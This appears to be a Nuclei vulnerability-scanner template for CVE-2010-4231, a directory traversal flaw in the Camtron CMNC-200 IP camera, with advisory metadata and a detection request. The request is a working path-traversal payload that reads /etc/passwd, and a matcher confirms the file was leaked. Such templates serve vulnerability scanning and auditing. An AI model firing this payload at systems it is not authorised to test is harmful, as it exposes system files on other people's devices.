id: CVE-2010-4231

info:
  name: Camtron CMNC-200 IP Camera - Directory Traversal
  author: daffainfo
  severity: high
  description: The CMNC-200 IP Camera has a built-in web server that is vulnerable to directory transversal attacks, allowing access to any file on the camera file system.
  impact: |
    An attacker can exploit this vulnerability to access sensitive files and directories on the camera.
  remediation: Upgrade to a supported product version.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2010-4231
    - https://www.exploit-db.com/exploits/15505
    - https://www.trustwave.com/spiderlabs/advisories/TWSL2010-006.txt
    - http://www.exploit-db.com/exploits/15505/
    - https://github.com/K3ysTr0K3R/CVE-2010-4231-EXPLOIT
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:C/I:N/A:N
    cvss-score: 7.8
    cve-id: CVE-2010-4231
    cwe-id: CWE-22
    epss-score: 0.09542
    epss-percentile: 0.94833
    cpe: cpe:2.3:a:camtron:cmnc-200_firmware:1.102a-008:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: camtron
    product: cmnc-200_firmware
  tags: cve,cve2010,iot,lfi,camera,edb,camtron,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/../../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 490a0046304402204b95de5e61849d20f85af06d9f00467cdf29480bf2d4aa0fde3d77848af02f0e022003ebce78ef3f46bdee9ac856f2a6abb52aaca183a9ea2fbed0baf5177d735c98:922c64590222798bb761d5b6d8e72950